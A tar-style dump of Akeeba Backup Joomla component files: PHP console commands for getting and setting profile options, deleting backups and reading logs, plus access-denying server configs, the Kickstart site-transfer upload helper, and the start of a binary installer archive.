	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, JsonGuiDataParser;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$container = Container::getInstance('com_akeeba');
		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$format = (string) $this->cliInput->getOption('format') ?? 'text';

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$model->findOrFail($profileId);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Could not find profile #%s.", $profileId));

			return 1;
		}

		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config = Factory::getConfiguration();

		$key   = (string) $this->cliInput->getArgument('key') ?? '';
		$value = $config->get($key, null, false);

		if (!is_null($value) && !is_scalar($value))
		{
			$this->ioStyle->error(sprintf("This command cannot return multiple values given the partial key prefix “%s”. Please supply they exact key name you want to retrieve. Use the akeeba:option:list command to see the available keys with the prefix %s.", $key, $key));

			return 2;
		}

		if (is_null($value))
		{
			$this->ioStyle->error(sprintf("Invalid key “%s”.", $key));

			return 3;
		}

		switch ($format)
		{
			case 'text':
			default:
				echo $value . PHP_EOL;
				break;

			case 'json':
				echo json_encode($value) . PHP_EOL;
				break;

			case 'print_r':
				print_r($value);
				echo PHP_EOL;
				break;

			case 'var_dump':
				var_dump($value);
				echo PHP_EOL;
				break;

			case 'var_export':
				var_export($value);
				break;

		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will get the value of a configuration option for an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('key', InputOption::VALUE_REQUIRED, 'The option key to retrieve');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: text, json, print_r, var_dump, var_export.', 'text');

		$this->setDescription('Gets the value of a configuration option for an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/BackupDelete.php000060400000006207152455305260014054 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Statistics;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:delete
 *
 * Deletes a backup record known to Akeeba Backup, or just its files
 *
 * @since   7.5.0
 */
class BackupDelete extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id        = (int) $this->cliInput->getArgument('id') ?? 0;
		$onlyFiles = $this->cliInput->getOption('only-files');

		$this->ioStyle->title(sprintf('Deleting Akeeba Backup record #%d', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error('Invalid backup record');

			return 1;
		}

		$container = Container::getInstance('com_akeeba', [], 'admin');
		/** @var Statistics $model */
		$model = $container->factory->model('Statistics')->tmpInstance();
		$model->setState('id', $id);

		try
		{
			if ($onlyFiles)
			{
				$model->deleteFile();

				$this->ioStyle->success(sprintf('The files of backup record #%d have been deleted.', $id));

				return 0;
			}

			$model->delete();

			$this->ioStyle->success(sprintf('The backup record #%d has been deleted.', $id));

		}
		catch (\RuntimeException $e)
		{
			if ($onlyFiles)
			{
				$this->ioStyle->error(sprintf('Cannot delete the files of backup record #%d: %s', $id, $e->getMessage()));
			}
			else
			{
				$this->ioStyle->error(sprintf('Cannot delete backup record #%d: %s', $id, $e->getMessage()));
			}

			return 1;
		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will delete a backup record known to Akeeba Backup, or just its files
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputArgument::REQUIRED, 'The id of the backup record to delete');
		$this->addOption('only-files', null, InputOption::VALUE_NONE, 'Only delete the backup files stored on the site\'s server, not the record itself.');
		$this->setDescription('Deletes a backup record known to Akeeba Backup, or just its files');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/LogGet.php000060400000005131152455305260012700 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Log;
use FOF40\Container\Container;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:log:get
 *
 * Retrieves log files known to Akeeba Backup
 *
 * @since   7.5.0
 */
class LogGet extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:log:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$profile_id = max(1, (int) $this->cliInput->getArgument('profile_id') ?? 1);
		$log_tag    = (string) $this->cliInput->getArgument('log_tag') ?? 1;

		define('AKEEBA_PROFILE', $profile_id);

		$container = Container::getInstance('com_akeeba', [], 'admin');

		/** @var Log $model */
		$model = $container->factory->model('Log')->tmpInstance();
		$model->setState('tag', $log_tag);
		$model->echoRawLog(true);

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will retrieve a log file from the output directory of the Akeeba Backup profile specified. Note: log files from other backup profiles or Akeeba Backup installations sharing the same output directory can also be retrieved.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('profile_id', InputArgument::REQUIRED, 'Log files in the output directory of this Akeeba Backup profile will be retrieved');
		$this->addArgument('log_tag', InputArgument::REQUIRED, 'The tag of the log file to retrieve');
		$this->setDescription('Retrieve a log file known to Akeeba Backup');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/OptionsSet.php000060400000013423152455305260013631 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:set
 *
 * Sets the value of a configuration option for an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class OptionsSet extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, JsonGuiDataParser;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:set';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$container = Container::getInstance('com_akeeba');
		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$format = (string) $this->cliInput->getOption('format') ?? 'text';

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$model->findOrFail($profileId);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Could not find profile #%s.", $profileId));

			return 1;
		}

		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config = Factory::getConfiguration();

		$key   = (string) $this->cliInput->getArgument('key') ?? '';
		$value = (string) $this->cliInput->getArgument('value') ?? '';

		// Get the key information from the GUI data
		$info = $this->parseJsonGuiData();

		// Does the key exist?
		if (!array_key_exists($key, $info['options']))
		{
			$this->ioStyle->error(sprintf("Invalid option key '%s'.", $key));

			return 2;
		}

		// Validate / sanitize the value
		$optionInfo = $this->getOptionInfo($key, $info);

		switch ($optionInfo['type'])
		{
			case 'integer':
				$value = (int) $value;

				if (($value < $optionInfo['limits']['min']) || ($value > $optionInfo['limits']['max']))
				{
					$this->ioStyle->error(sprintf("Invalid value '%s': out of bounds.", $value));

					return 3;
				}
				break;

			case 'bool':
				if (is_numeric($value))
				{
					$value = (int) $value;
				}
				elseif (is_string($value))
				{
					$value = strtolower($value);
				}

				if (in_array($value, [false, 0, '0', 'false', 'no', 'off'], true))
				{
					$value = 0;
				}
				elseif (in_array($value, [true, 1, '1', 'true', 'yes', 'on'], true))
				{
					$value = 1;
				}
				else
				{
					$this->ioStyle->error(sprintf("Invalid boolean value '%s': use one of 0, false, no, off, 1, true, yes or on.'", $value));

					return 3;
				}

				break;

			case 'enum':
				if (!in_array($value, $optionInfo['options']))
				{
					$options = array_map(function ($v) {
						return "'$v'";
					}, $optionInfo['options']);
					$options = implode(', ', $options);

					$this->ioStyle->error(sprintf("Invalid enumerated value '%s'. Must be one of %s.", $value, $options));

					return 3;
				}

				break;

			case 'hidden':
				$this->ioStyle->error(sprintf("Setting hidden option '%s' is not allowed.", $key));

				return 3;
				break;

			case 'string':
				break;

			default:
				$this->ioStyle->error(sprintf("Unknown type %s for option '%s'. Have you manually tampered with the option JSON files?", $optionInfo['type'], $key));

				return 3;
				break;
		}

		$protected = $config->getProtectedKeys();
		$force     = isset($assoc_args['force']) && $assoc_args['force'];

		if (in_array($key, $protected) && !$force)
		{
			$this->ioStyle->error(sprintf("Cannot set protected option '%s'. Please use the --force option to override the protection.", $key));

			return 4;
		}

		if (in_array($key, $protected) && $force)
		{
			$config->setKeyProtection($key, false);
		}

		$result = $config->set($key, $value, false);

		if ($result === false)
		{
			$this->ioStyle->error(sprintf("Could not set option '%s'.", $key));

			return 5;
		}

		Platform::getInstance()->save_configuration($profileId);

		$this->ioStyle->success(sprintf("Successfully set option '%s' to '%s'", $key, $value));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will set the value of a configuration option for an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('key', InputOption::VALUE_REQUIRED, 'The option key to set');
		$this->addArgument('value', InputOption::VALUE_REQUIRED, 'The value to set');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);
		$this->addOption('force', null, InputOption::VALUE_NONE, 'Allow setting the value of protected options.', false);

		$this->setDescription('Sets the value of a configuration option for an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/Master/.htaccess000060400000000246152455305260011650 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Master/web.config000060400000001025152455305260012012 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/Master/Installers/kickstart.transfer.php000060400000014253152455305260016530 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('KICKSTART') or die;

/**
 * Akeeba Kickstart Site Transfer Helper add-on feature
 *
 * This file allows to remotely transfer files and perform other tasks required during site transfer using Akeeba
 * Backup's Site Transfer Wizard. The features inside this file can only be accessed through Kickstart. Trying to access
 * this file directly will of course fail.
 */
class AKFeatureTransfer
{
	/**
	 * Returns information about the server we're running on.
	 *
	 * @param   array  $params
	 *
	 * @return  array
	 */
	public function serverInfo($params)
	{
		$maxExecTime    = 5;
		$memLimit       = '8M';
		$baseDir        = '';
		$disabled       = '';
		$maxPostSize    = '2M';
		$uploadMaxSize  = '2M';

		if (function_exists('ini_get'))
		{
			$maxExecTime    = ini_get("max_execution_time");
			$memLimit       = ini_get("memory_limit");
			$baseDir        = ini_get('open_basedir');
			$disabled       = ini_get("disable_functions");
			$maxPostSize    = ini_get("post_max_size");
			$uploadMaxSize  = ini_get("upload_max_filesize");

			if (empty($maxExecTime))
			{
				$maxExecTime = 5;
			}
		}

		$server = 'n/a';

		if (isset($_SERVER['SERVER_SOFTWARE']))
		{
			$server = $_SERVER['SERVER_SOFTWARE'];
		}
		elseif (($sf = getenv('SERVER_SOFTWARE')))
		{
			$server = $sf;
		}

		$infoArray = array(
			'freeSpace'     => disk_free_space(dirname(__FILE__)),
			'phpVersion'    => PHP_VERSION,
			'phpSAPI'       => PHP_SAPI,
			'phpOS'         => PHP_OS,
			'osVersion'     => php_uname('s'),
			'server'        => $server,
			'canWrite'      => $this->canWriteToFiles(),
			'canWriteTemp'  => $this->canWriteToFiles('kicktemp'),
			'maxExecTime'   => $maxExecTime,
			'memLimit'      => $this->memoryToBytes($memLimit),
			'maxPost'       => $this->memoryToBytes($maxPostSize),
			'maxUpload'     => $this->memoryToBytes($uploadMaxSize),
			'baseDir'       => $baseDir,
			'disabledFuncs' => $disabled,
		);

		return $infoArray;
	}

	public function uploadFile($params)
	{
		// Get the parameters describing the upload
		$file      = isset($_GET['file']) ? $_GET['file'] : '';
		$directory = isset($_GET['directory']) ? $_GET['directory'] : '';
		$frag      = isset($_GET['frag']) ? $_GET['frag'] : 0;
		$fragSize  = isset($_GET['fragSize']) ? $_GET['fragSize'] : 1048576;
		$data      = isset($_POST['data']) ? $_POST['data'] : '';
		$dataFile  = isset($_GET['dataFile']) ? $_GET['dataFile'] : '';

		// We need a file
		if (empty($file))
		{
			return array(
				'status'    => false,
				'message'   => 'You have not specified a file'
			);
		}

		// Let's make sure the remote end is not trying to do something nasty
		$file = basename($file);
		$pos = strrpos($file, '.');

		if ($pos === false)
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		$extension = substr($file, $pos + 1);

		if (empty($extension))
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		if (!preg_match('(jpa|zip|jps|j[\d]{2,}|z[\d]{2,})', $extension))
		{
			return array(
				'status'    => false,
				'message'   => 'Invalid file name specified'
			);
		}

		// We only allow very specific directories
		$directory = trim($directory, '/');

		if (!in_array($directory, array('', 'kicktemp')))
		{
			return array(
				'status'    => false,
				// Yes, the message is intentionally vague
				'message'   => 'Invalid directory name specified'
			);
		}

		// If a data file was given, read it to memory
		if (empty($data) && !empty($dataFile))
		{
			$slashedDir = ($directory === '') ? '/' : sprintf('/%s/', $directory);

			// Do not remove the basename(). It makes sure we won't try to read a file outside our directory.
			$data = @file_get_contents(__DIR__ . $slashedDir . basename($dataFile));

			if (empty($data))
			{
				return array(
					'status'    => false,
					'message'   => 'The partial data file ' . basename($dataFile) . ' does not seem to have been uploaded.'
				);
			}
		}

		// We need some data to write, yes?
		if (empty($data))
		{
			return array(
				'status'    => false,
				'message'   => 'No data specified'
			);
		}

		if (!empty($directory))
		{
			$directory = '/' . $directory;
		}

		$filename = __DIR__ . $directory . '/' . $file;

		// Open the file for writing or append
		$mode = ($frag == 0) ? 'w' : 'a';
		$fp = @fopen($filename, $mode);

		if ($fp === false)
		{
			$modeHuman = ($mode == 'w') ? 'write' : 'append';

			return array(
				'status'    => false,
				'message'   => "Cannot open $file for $modeHuman"
			);
		}

		// Seek to the correct offset
		$offset = $frag * $fragSize;
		@fseek($fp, $offset);

		// Write to the file
		$written = @fwrite($fp, $data);

		@fclose($fp);

		if (!$written || ($written != strlen($data)))
		{
			return array(
				'status'    => false,
				'message'   => "Cannot write to $file"
			);
		}

		return array(
			'status'    => true,
			'message'   => ''
		);
	}

	/**
	 * Can I write to arbitrary files in the Kickstart directory?
	 *
	 * @return   bool
	 */
	private function canWriteToFiles($directory = '')
	{
		// Try to create a temporary file
		$directory = dirname(__FILE__) . '/' . $directory;
		$directory = rtrim($directory, '/');

		$testFilename = tempnam($directory, 'kst');

		// Failed completely?
		if ($testFilename === false)
		{
			return false;
		}

		// File created in another directory?
		if (dirname($testFilename) != $directory)
		{
			@unlink($testFilename);

			return false;
		}

		@unlink($testFilename);

		return true;
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	private function memoryToBytes($setting)
	{
		$val = trim($setting);
		$last = strtolower(substr($val, -1));

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}
}
com_akeeba/Master/Installers/angie.jpa000060400002164422152455305260013762 0ustar00JPA�hz��JPF.installation/offline.html����T�N�0��>�Y~Q)�
!�.T�Cc
�Nr�x��n!���w�P�&��vs��|��7�=�����0�����7�{a4�Š�Ce,伸Y7�mQ�
:(,r�%�-�� ����J��4!ILtܐ���LV;aa�֊U���㿽b4�N�|:߇Q�Fr_��0��4f-���6͹/�`R�]�pz�NQ��.�9)�WnкP�~
T��",y3���+I"�:JP'K /��A慗��F�5V�LU1)4Frڣ�l�ْ�B�As�GIALX�&P�`��-��I���m��l�7�zz*�aW�{�7�D�Z�Q���|��U��L�)$W�2?Β���x�����)�X�e
�k�ZQ��IJ�@P�2?E����V�F&��zF��A���/\�l|�*^�B�!�F-�Q�[�}��ZP�)J����M��g��4�@��E}�Lc��8<��Qp+J_���]
�HNtV����yQ��?�P�PD��Ҍ&D�]9A���\w��\	���鴡��P��j���x�Y�A��5k].�q3��73T�����?�=�K�v1�S�H���Rp�k,V4Hl����G]����Ӈ�N}
�t�ۢ���Ey�óӃt�&�l���ذf�~$�Iwda2i+�
��\���(:�A:��Y�׵p�-K��m2Γ�;kb�K�����(�L�'�
o�Zn��u>�8����z�p�-�JPF-installation/defines.php�e��}R�n�0��wQ�4J�(]U�ь���*��+d�6X%ز�j�5����ze����,�3	�ԃHJ�
�Bm�b��t��4�&d,�I`*/�j�2�d{ ��YǨ��I,*a3���Ңl����؞�B�ߔ��� ��N&�7������b�oaa�k!ŮƇ��W�s�u�^`�5*V�z�Y��@��^w#��*[@Y��q
|�5�6��0�{�4�☆A�콺#p��3�$O�Ğ��+M4JSK��� N����5�Ϲ�L
?��J8��7O����ID�v�8�aJ�}*�|��sEa���ŷ�xw&}��&�N޽��0x�˗���*Y�h@�M���-�cVly͵�?P(����,"��n����Su_�<y���<����+�1�a���u���V6�OJPF+installation/index.php�	d���Xms�6�,��m�IKrҤ�Ų/���Jeǵ���u:��,�I�!@˺&���$E���L�
`_�����ʖ�3x�ġ'4:y7v�G�� iA�PZ澎dJ*ȣL�B�4���"#?�ѥP���"���FB�}zS�H�je*c	,�u�]�\�y$�Z �u�/5�_���lg矽g;Ͼ��(X��W�S���Z�L�T4�dLthx�Q R�ߝ|�w"��i1�M��K�+��ۄ+Ÿ@���1
d��T��)2��*J�)�RAZ�H�y,�P̋s:��Q(��G?�w����MO����2��%�*�5�C�5-aJD"�Ͷ̋TG�Qi�loJOGo&�w4~w�M���ٴ���7��)�-�6��x]^)$X$�XZJ��LY�r)b��ʉ��
oܹK��?.����ٿݳ_�G�٩w�a:k�f�;w�����k���g�b�t~7�6���t������v��u~wZ_�����+j��2�r�ɜ]�q��dB��N>����<tO�܃��=d#���HO\EJ�N;J#�`�-�m����He����$Uj���]�,�c�(��P�m@4��G�«%�)�-�d�-<S f��c��̪�|]o��mo߁5k�������k?�mw�� N����x��c}dP�r�JĜn�|��Ѹ�b�Tn��fͨS6-1�ˀ�#�2c@NY&�q^{/e��7߻�q���xR$tztZ'�`)�����D)/W��N{��ʅ
�P�|[/�ϱa�^��p�/�	(��?�lS���uiݭ��-���(O�Dt<����ԧ��q[jmgwL�}Dա�e$VjZ�&��WȔV��|�H��,�{'�\|*y|��"��J��#V%r��"X��&�뒛�S��d�����
�M�m��Ssτ��M3����[
�ŸIe8�D��-��~;�
͆�=3IRY�z�ydQ.E��~
��u��9Z���f?���kZ�E_PP�|H,��Z�$����-��Y�!�fl��
�+�f��G��{��9n�;��?�*�&BMR�q(XYpCYSՈ؟�8�<�TH��.�v"���ݼb6>s
�-�r�b�CZ;�<?Ӝ�"�`�"��[�c�QSOc,��ћ�%׊���O2է�����[�����R`c�[�n�^�E'0m�-L�L������،�*��s�~���J�%����R����S�M�&��e��r�v�/y:�y����퇳�����6���d��lt6v�%mk|�CQ�i�c)3�/VU��`�c���r��s�AS���n:�N�M�T��j�F���O�342�w2:vk�u�t�!D�i���]���qe�}�R���A���ڍ�{��۴�Om������K݁�L05H �i�=�����0*���HG~�����d���m����C�ay�&<㒞�<����2c�+�!�,4�ru�w�I�h����]!���L�c�lo�X�TH�\����^"3��W�u��ns��{�_i�+%�p��=�U�$>|�ʹm�Z�-|�-�
��{|Z�͠�(�N��!lA�}�
�CrOk�Q�N�^9�L �E8{��8�p2�H�`�լ�G��~Y�m��nl|���8O�'7ˊ�tt��5
u�����i5Y�i��_ⲱ�V]�"]��w!4a�
`k6�څm��~za>qk�D(�i����������VD�p���“��)�A"�zE��ꄓ��d��:!#55m��Ìl[��8z�26���}�k�0�PN�EW�YNٍ���������Q#l���U5�c��$ֿܳ��V;\��{�NM��a��窐�׮�X��4*[�<6G�fX]굜{�u�;�	y�N	)�/�i�i ßd`���U�<�}��$,��m3&X��S���x��O�oe����3���Xs��7�D3i(�}3��f��\� ���[6m�('�̀^��vF���y��G �����Wt�S	rң}����D������~���w!�|*P4k+c��m1k���C��"�4�L�"@nj���R�0�$cʽG�y���c\�z,r�Z
�/�o:�q�j�Kw%X��Av3�zuG���:��1f���Q���w����۲�F�K���h�F�r3�U���-�肗>'�F��C�0Z,�y�('7c`�
���#5�U�}�6w��F�i����ɯ_v�޻�r�i�ÍKnѹ��/������5<��}���Q�T�����)�ᵦ%���ZТ�r���"��9�fC$u�ަkH>�T�SwA]�����cpeg���B�.̓�I�W�m���n<n���mܲ#/�Qx$L�Q0�m��qc�������˧����"�S��
���������N��|�|m��A�c@`���f���.��y>����f�JPF@+installation/framework/database/factory.php�]���Wmo�6�l��+�Ar��i�}h��M�,�ڤ��b��.����E&U���
��#)Y��t���_��{��9�����>��C8�:�8�}x7G��!�N�V`3#KSm`"���a��\��̠p��d
'7���	��+ou���yVҮ�!�I�k�.�F��^4��lxxp�d����1\�l�a��Nɡ�ե�
ma\�x�r�U��e��p�
�(�M5�
x7�h,�x(��0ty���8�
�4�>yyv��$�\b:��_S�n.-Le��kȴrB*���F/��?i�(�xC�D�bo;4�ؾ�}F;<xt�KTDSe2�K���*������wP
�@Oo�2b��Gs4rI�["������
�X���RF|�*��g���F/%Sc�	���Q`-��i��S��D�?��J���Z����D<���c����Z�VV��u.pBe�W��gKa(�]h�i%�xt8z��~��,Q�;�*��u�Ǡ����7.]������p�Q 6fN	�8ln�ZTb���{�rJ� uҦA�.􄨍�>StKy�|�;��%frJn�����޺G��^M""��ӂ���jN���Guⴷ3A��cnqϸV
3�Q-���n]#;����^0���� M`�Ԗ���5Y��4Zv��
렷��d)\���I��Vd��%�1�k�P�J뭕T�tR�ha��<��{T�e�v��q�U�h5��ts¦��ZA�P�!���;�n$4bAuj��j0Pb��p�_b�$ֺJr(�g#���6h��@�p�
�p�8������3Vz����\H��n� �Jf���4�z�bm?2��y\O��~���7�[���ᶟ�:���N�0��Q�88&M�ٵ�����'���?��}��q��v��"��B��#���s�m��!<�[�E
i��F
�uP�����8S!��s�"�	��m�P��� l�;�L`U6�ƺ�j�Ѥ^q�:T��ыiˠu�(�'���,�o�� ��vs.���+-�ʫ��^Q���� 1�+y+I0+za�ܱ�r
�o����4D��᫣�����xV#���]�i��WbR�v)��73)���Vn���}�!��b�ck�Ͱ��-ٯ��+G�x��9C�!���h��˄#�Nw��G��u�ב�D�ԩ��f3z�h�J�8N_Z��Y}�fF	��I�R�;��5�7��r[F��F��@�"ӣ���]:�N_�؍d��As��_�b���=�E�ߒ�F�aE��i\�ڐ^�@m#v�x�O���9=$�z���}�O��Î��gG�c�w`|)���JCh�<�'��N8nx�m��Bo�.�c���KA����Ɖ�S�
�'~}7��bAR��(?fD]<������+*�4����3�[�<��x[����_t�����#�>V��U��o�V#��5���Fw���پS]�Z�+�m)Jw��s V\GX�wt�K�JPFC.installation/framework/database/driver/pdo.php�^���<�SG�?�_1��H�8����	�pgA�R�B�펤=�v�����~�13;�˜佼�rٰ;�����ӳ���l2[��u�88���Xl��D�4ȔHT�ʼn̂8���L��D��n>2�&��J��(�)_���RC)^��o���0�5p�og�V��0`(z�ųe�'�8�?���ݝ��m���>��7�C��t� �L�Y<�Tl�5�d>�
OE)���R|�"��P�χ�B��/oT�⾞wl)�
$0y{�c0	R1
B%�r)�8�d����$����8���3qӁ0�Nyؿ[mw�ٮ8��1O<%��VL;�$��b���@�d��xT�J�d8�WIp��Qb'��^�d.��0(�ν	�?S	�%�M��O���T�]Ώ�đ��P�`yz|I
wS���,����A���ʶg~�o�v/�uw��Y"���@f��~,ԇLE~����k3F3̀�����,��[__C�׈�JDr�E}��O��8�~{#D�
�1?r0^C�Ͳ�f5)EK��@�"�:�j� t
�$�Q�6�Q.�C���6�͓DE�x?W�H��9+)�b�V�#�D.�v�/�p�}1�a��$�&y��v�)�)�b@�ohq5E��2���C�������k�@�4@/�>�Ο�~� � R�m�w��Qi*�%�9		�*�r�y$�>E6�o
�N�,�&0�WFx7�]G(�=I�90A�!���p`�k3QP�i���� ��t_�˹�8�@��'�'y����/*�A�f p���1�-����,be�l�4�~��@cX`�hޱ���$�72�+���=dװ�#I�n�-�+vvz��o��0�Jgum��w�n��*32�
�u��w��!�mQ� �PF���5*�
s\��#�'�F��؈gYn��)��($,2
��E77&9H�êI�#�N�מA�mV�\_����
n"iZ����i��x�Ú��S�E�����E;���C67�7�ffO�b����(������4Y7��̅W�����y0�=ү%D�v�u��!el�U����(�P=�
p

����Pgn0����B`���B�'~�U��u�0�B�(��1�,�k��Q���J5`��k3�&�a�O@?NQŋ�nd�S#5g�RN�����U ��Δ�@Q(t����'*�'�gC�?�������[
�J%� u�g�&��*t���Y��ujkE��j{�n]]~��`pq}tq����Ӄ�ǭ2��T��ZŤ�z�A`]���Q�ԅJ�!�@q�G$�27_e4��~v'����kI@BP%���VG8
��Yl-l�|�J��7���Q�“H-���
�(8�lYE:ˡ���Du�Q��]Ȭ��r���6AS⭶;	���m�>p����fv��Md�"����r�%�V{S�k&>�\|f��3#��@A�ذI��MD�1Y#�\���]Kގ(A#1X#Q0"\;�$.?�wJ`J:�QO�E�YY���b'�ǜ9���%�G
�H^b4��Sr��[ʿ��dz��63#���l��3�.����<53�r^_F�Ì ��Ұ�I�1�#q�辑]���?��-�55�N�T��=��M6	ab>����z#�h���Z�z+i��j�.Ѣ���]瀊�;�VG<�t�/����9���x
